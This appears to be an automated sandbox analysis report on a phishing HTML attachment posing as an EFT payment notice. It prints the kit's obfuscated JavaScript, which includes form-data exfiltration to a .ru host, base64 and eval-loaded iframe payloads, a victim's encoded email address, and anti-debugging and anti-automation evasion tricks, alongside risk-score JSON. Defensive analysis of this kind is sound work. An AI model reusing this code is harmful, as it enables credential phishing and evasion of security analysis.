Windows Analysis Report
EFT_Payment_Notification_Warriorsheart.html

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft login page, which is likely a phishing attempt. Overall, the script demonstrates malicious intent and poses a significant security risk."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA4pnGQDZ108QgTx',
    'error-callback': hMtiZeiUMp,
    callback: ETCIaeaKzI,
});
function hMtiZeiUMp() {
    turnstile.reset();
}
function ETCIaeaKzI() {
    var sLCJxTEpoo = document.getElementById("lagDgSHTzs");
    sLCJxTEpoo.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = '8Tru';
    var qpFiCwwqUG = "../wzhUJvOiO5Y3wPj2l8U7EzroYbLNzUJ1C5mZJh9zp";
    fetch('https://s8ZVM920jqjiU0MKVWRKBZ6zbAAPGgWaAT1pPvh6SofcvoJNFPAYo.mentespic.ru/tpsifzxrcjpnmiqlcapcxqSIHzEofYKCVZVKRCCQIPXIQHQALLZRCDVNUAXO', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(qpFiCwwqUG, {
        method: "POST",
        body: new FormData(sLCJxTEpoo)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        if(beYpzblODZ == false){
        location.reload();
        }
        }
        if(data['status'] == 'error'){
        window.location.replace('https://login.microsoftonline.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://login.microsoftonline.com');
    }
    })
    .catch(error => {
    window.location.replace('https://login.microsoftonline.com');
    });
}

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent."
}

if(atob("aHR0cHM6Ly9yRkxMLnlvcmRpY2t5ZWwucnUvMTZFLw==") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNDckt5cXNObG5VIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0NyS3lxc05sblUgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0NyS3lxc05sblUgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojQ3JLeXFzTmxuVSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0NyS3lxc05sblUuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTM5cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNDckt5cXNObG5VIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojQ3JLeXFzTmxuVSAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI0NyS3lxc05sblUgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojQ3JLeXFzTmxuVSAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojQ3JLeXFzTmxuVSAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI0NyS3lxc05sblUgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI0NyS3lxc05sblUubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNDckt5cXNObG5VIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojQ3JLeXFzTmxuVSAjT1BXUHpSaWdFQSB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KYmVZcHpibE9EWiA9IGZhbHNlOw0KKGZ1bmN0aW9uIGFNc3FKRGFmTkIoKSB7DQogICAgbGV0IGdyT293Sm9CU3cgPSBmYWxzZTsNCiAgICBjb25zdCBVY1pjRVlQYnpEID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBkTkFhUGlFV0R5ID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAg

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The script also uses a setInterval loop with a debugger statement, which could be an attempt to detect and evade analysis. Overall, this script demonstrates highly suspicious and potentially malicious behavior, warranting a high-risk score."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
beYpzblODZ = false;
(function aMsqJDafNB() {
    let grOowJoBSw = false;
    const UcZcEYPbzD = 100;
    setInterval(function() {
        const dNAaPiEWDy = performance.now();
        debugger;
        const ZIWJoNqoVs = performance.now();
        if (ZIWJoNqoVs - dNAaPiEWDy > UcZcEYPbzD && !grOowJoBSw) {
            beYpzblODZ = true;
            grOowJoBSw = true;
            window.location.replace('https://login.microsoftonline.com');
        }
    }, 100);
})();
    

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script uses the `location.hash` property to store and retrieve an encoded email address, which is then used to construct a URL for an iframe. The iframe's source is also obfuscated using `atob()` to decode a base64-encoded string. These behaviors are highly suspicious and indicate a potential attempt to execute malicious code or redirect the user to a malicious site."
}

var _0xdff6 = null;
if(location.hash == ""){
location.hash = `#dGluYS5kdXRjaGVyQHdhcnJpb3JzaGVhcnQuY29t`;
_0xdff6 = `#dGluYS5kdXRjaGVyQHdhcnJpb3JzaGVhcnQuY29t`;
}
if(location.hash !== ""){
_0xdff6 = location.hash;
}
if (location.hash.includes('?')) {
_0xdff6 = location.hash.replace('#', '');
}
(() => {
        const _0xf913 = atob, _0x1fb7 = ["dmFyIHNvbG9tb25zZWFsID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaWZyYW1lJyk7CiAgICBzb2xvbW9uc2VhbC5zYW5kYm94LmFkZCgnYWxsb3ctc2FtZS1vcmlnaW4nKTsKICAgIHNvbG9tb25zZWFsLnNhbmRib3guYWRkKCdhbGxvdy10b3AtbmF2aWdhdGlvbicpOwogICAgc29sb21vbnNlYWwuc2FuZGJveC5hZGQoJ2FsbG93LW1vZGFscycpOwogICAgc29sb21vbnNlYWwuc2FuZGJveC5hZGQoJ2FsbG93LXNjcmlwdHMn","KTsKICAgIHNvbG9tb25zZWFsLnNhbmRib3guYWRkKCdhbGxvdy1wb3B1cHMtdG8tZXNjYXBlLXNhbmRib3gnKTsKICAgIHNvbG9tb25zZWFsLnNhbmRib3guYWRkKCdhbGxvdy1mb3JtcycpOwogICAgc29sb21vbnNlYWwuc3JjID0gYXRvYignYUhSMGMnK2BITTZMeTl5UmArYGt4TUxubHZjbVJgKydwWTJ0NVpXJysnd3VjblV2TVRaJytgRkx3PT1gKStfMHhkZmY2OwogICAgc29sb21vbnNlYWwuc3R5bGUuY3NzVGV4dCA9ICdw","b3NpdGlvbjogZml4ZWQ7IGluc2V0OiAwcHg7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IGJvcmRlcjogMHB4OyBtYXJnaW46IDBweDtwYWRkaW5nOiAwcHg7IG92ZXJmbG93OiBoaWRkZW47IHotaW5kZXg6IDk5OTk5OTsnOwogICAgZG9jdW1lbnQud3JpdGUoc29sb21vbnNlYWwpOwogICAgZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAiIjsKICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc29sb21vbnNlYWwpOw=="];
        const _0x8d08 = _0x1fb7.map(_0xf913).join('');
        this['_0x853c'] = () => eval(_0x8d08);
        this['_0x853c']();
})();

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "brands": [
    "Cloudflare"
  ]
}